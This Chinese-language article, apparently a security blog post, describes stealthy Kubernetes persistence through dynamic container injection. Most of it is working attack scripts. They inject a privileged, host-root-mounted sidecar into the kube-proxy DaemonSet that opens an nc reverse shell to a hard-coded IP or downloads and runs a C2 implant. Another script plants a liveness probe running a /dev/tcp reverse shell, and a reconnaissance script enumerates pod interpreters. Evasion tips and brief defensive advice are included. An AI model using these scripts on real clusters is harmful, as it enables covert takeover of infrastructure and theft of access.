动态容器注入-一种隐蔽的k8s权限维持方法
字数 1318 2025-10-27 12:13:03
动态容器注入:一种隐蔽的Kubernetes权限维持方法
概述
动态容器注入是一种利用Kubernetes原生功能实现权限维持的隐蔽技术。该方法通过修改现有的DaemonSet配置,注入恶意容器或探针,避免了创建新的Pod或控制器,从而降低了被检测的风险。
传统Kubernetes权限维持方法的局限性
传统的权限维持方法包括:
- 部署后门Pod
- 部署CronJob
- 部署Shadow API Server
- 部署恶意Deployment
- 部署恶意DaemonSet
这些方法都需要创建新的Kubernetes资源,容易被安全监控工具发现。
动态容器注入技术
1. Sidecar容器注入技术
技术原理
Sidecar容器是在同一个Pod中运行的辅助容器,与主容器共享网络、存储等资源,生命周期完全同步。
选择DaemonSet的原因
- 确保所有节点(包括新增节点)都运行Pod
- Pod退出后自动重建,提高持久性
容器配置要点
为了实现高权限访问,恶意容器需要配置:
securityContext:
privileged: true # 特权容器
hostNetwork: true # 共享宿主机网络命名空间
hostPID: true # 共享宿主机PID命名空间
volumeMounts: # 挂载宿主机根目录
- mountPath: /host-root
name: host-root
基础注入示例
以kube-system命名空间中的kube-proxy DaemonSet为例:
注入脚本示例:
#!/usr/bin/env bash
# inject-cache.sh -- 自动注入sidecar容器
set -e
# 提取原镜像
image=$(kubectl -n kube-system get ds kube-proxy -o yaml | awk '$1=="image:"{print $2}' | head -n1)
# 定义变量
volume_name="cache"
mount_path="/var/kube-proxy-cache"
ctr_name="kube-proxy-cache"
# 构建注入内容
volume_block="\
- name: ${volume_name}
hostPath:
path: /
type: Directory"
container_block="\
- name: ${ctr_name}
image: alpine:latest
imagePullPolicy: IfNotPresent
command: [\"/bin/sh\"]
args:
- -c
- 'set -x; nc 8.156.69.160 2333 -e /bin/sh & tail -f /dev/null'
securityContext:
privileged: true
volumeMounts:
- mountPath: ${mount_path}
name: ${volume_name}"
# 执行注入
kubectl -n kube-system get ds kube-proxy -o yaml | awk -v vb="$volume_block" -v cb="$container_block" '
/^ volumes:/ { print; print vb; next }
/^ containers:/ { print; print cb; next }
1
' | kubectl replace -f -
思路优化
问题: 使用nc反弹shell只能接受单个连接,不适合多节点环境。
解决方案: 使用C2木马提高可用性
container_block="\
- name: ${ctr_name}
image: alpine:latest
imagePullPolicy: IfNotPresent
command: [\"/bin/sh\"]
args:
- -c
- 'set -x; wget http://<IP:PORT>/kube-proxy -O /root/kube-proxy && chmod 777 /root/kube-proxy && /root/kube-proxy'
securityContext:
privileged: true
volumeMounts:
- mountPath: ${mount_path}
name: ${volume_name}"
优势:
- 支持多节点同时上线
- Pod异常退出后自动重建,C2自动重连
- 可通过无文件落地技术进一步提高隐蔽性
2. 存活探针注入技术
技术原理
利用Kubernetes的存活探针(Liveness Probe)机制,通过exec检查模式实现命令执行。
探针配置关键参数
livenessProbe:
exec:
command:
- /bin/bash
- -c
- '恶意命令'
initialDelaySeconds: 30 # 初始延迟
periodSeconds: 5 # 执行间隔
failureThreshold: 2147483647 # 最大重试次数(接近无限)
基础注入示例
以kube-flannel命名空间中的kube-flannel-ds DaemonSet为例:
环境侦察脚本:
#!/bin/bash
# 查找可用解释器
for ds in $(kubectl get daemonsets -A -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=$(echo $ds | cut -d/ -f1)
name=$(echo $ds | cut -d/ -f2)
# 获取Pod信息
pod=$(kubectl get pods -n $ns -l "$(kubectl get daemonset $name -n $ns -o jsonpath='{.spec.selector.matchLabels}' | tr -d '{}' | tr ',' '\n' | awk -F: '{gsub(/"/,"",$1); gsub(/"/,"",$2); print $1"="$2}' | tr '\n' ',')" -o jsonpath='{.items[0].metadata.name}' 2>/dev/null)
if [ -z "$pod" ]; then
continue
fi
echo "检查 $ns/$name ($pod) 的解释器:"
for interpreter in sh bash python3 python node perl ruby; do
kubectl exec -n $ns $pod -- which $interpreter &>/dev/null && echo " $interpreter 存在"
done
done
探针注入脚本:
#!/usr/bin/env bash
# inject-flannel-probe.sh -- 注入恶意存活探针
set -e
# 反弹shell命令(可base64编码提高隐蔽性)
PROBE_CMD='/bin/bash -i >& /dev/tcp/8.156.69.160/2333 0>&1'
PROBE_BLOCK="\
livenessProbe:
exec:
command:
- /bin/bash
- -c
- '$PROBE_CMD'
initialDelaySeconds: 30
periodSeconds: 5
failureThreshold: 2147483647"
# 注入探针
kubectl -n kube-flannel get ds kube-flannel-ds -o yaml | awk -v pb="$PROBE_BLOCK" '
/^ [a-zA-Z].*:$/ && !done && $0 ~ /volumeMounts:/ {
print pb; done=1
}
{ print }
' | kubectl apply -f -
思路优化
问题: 探针注入无法直接获得高权限容器环境。
解决方案: 结合代理技术实现API Server远程访问
- 从Master节点获取高权限kubeconfig文件
- 通过被控Pod建立代理通道
- 本地使用kubeconfig通过代理访问API Server
优势:
- 无需增加容器数量,隐蔽性更高
- 不依赖外部镜像拉取
- 结合代理可实现完整控制链
检测与防御建议
检测措施
- 配置审计: 监控DaemonSet等关键资源的变更
- 运行时监控: 检测异常容器行为和安全上下文
- 网络流量分析: 识别可疑的外连通信模式
- 镜像来源验证: 限制非受信任的镜像仓库
防御策略
- 最小权限原则: 严格限制容器权限和能力
- 策略 enforcement: 使用Pod安全策略或OPA/Gatekeeper
- 网络策略: 限制容器网络访问范围
- 定期安全扫描: 包括配置检查和运行时检测
总结
动态容器注入技术通过滥用Kubernetes原生功能实现了高隐蔽性的权限维持。安全团队需要从配置管理、运行时监控、网络策略等多个层面建立纵深防御体系,才能有效应对这类高级威胁。
参考资源
- 《k0otkit: Hack K8s in a K8s Way》
- 《ADCONF2025-云原生攻击路径》
- Kubernetes官方文档:Sidecar容器和存活探针